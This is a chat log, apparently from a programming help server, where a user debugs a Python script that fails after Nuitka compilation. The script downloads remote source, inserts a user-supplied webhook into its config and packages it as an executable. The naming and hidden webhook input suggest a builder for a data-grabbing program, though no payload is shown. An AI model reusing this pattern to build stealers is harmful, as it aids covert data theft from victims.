also i dont think its because of os.remove() because it works fine when running .py

[empty plinth]

good day

[severe dome]

hi

[empty plinth]

i clicked by accident, but what is your issue, i dont have much experience with nuitka though

[severe dome]

so when the function create_exe works when im running in main.py

[empty plinth]

yes that makes sense for it to work

[severe dome]

but after compiling main.py in nuitka it just stops working

like skips whole function

[empty plinth]

how do you know its not working though?

[severe dome]

because i tested it

[empty plinth]

what kind of error do you get from subprocess?

[severe dome]

nothing

[quasi igloo]

Have you tried debugging your code?

def createfile():
        name = input(f'                                  {m}[{w}FILENAME{m}] > {w}')
        webhook = input(f'                                  {m}[{w}WEBHOOK{m}] > {lb}[INPUT HIDDEN]{black}')
        src = requests.get('link')
        with open(f'assets/{name}.py', 'wb')as grabx:
            grabx.write(src.content)
        with open(f'assets/{name}.py', 'r') as file:
            filedata = file.read()

        text_to_replace = '''__CONFIG__ = {webhook}'''
        new_text = f'''__CONFIG__ = {webhook}'''
        filedata = filedata.replace(text_to_replace, new_text)

        with open(f'assets/{name}.py', 'w') as file:
            file.write(filedata)
       
        

        def create_exe(script_file):
            script_path = os.path.abspath(script_file)
            script_dir = os.path.dirname(script_path)

            print(f"creating {name}.exe!", end='', flush=True)

            with subprocess.Popen([sys.executable, "-m", "PyInstaller", "--onefile", script_path],
                                cwd=script_dir,
                                stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE) as process:

                stdout, stderr = process.communicate()
        


            
        create_exe(f'assets/{name}.py')
        os.remove(f'assets/{name}.py')

        

        print(f'created {name.exe}')
        input(f'go back')

this is the command
nuitka --follow-imports --output-dir=dist --onefile main.py

error when running compiled version with nuitka
error during pyinstaller execution the system cannot find the file specified

when i try running .py file it works fine.

[quasi igloo]

why are you using nuitka and pyinstaller together?

[severe dome]

im compiling the main script with nuitka, pyinstaller is faster so thats why im using it on the create_exe func

[quasi igloo]

that might be the problem

[severe dome]

i fixed it
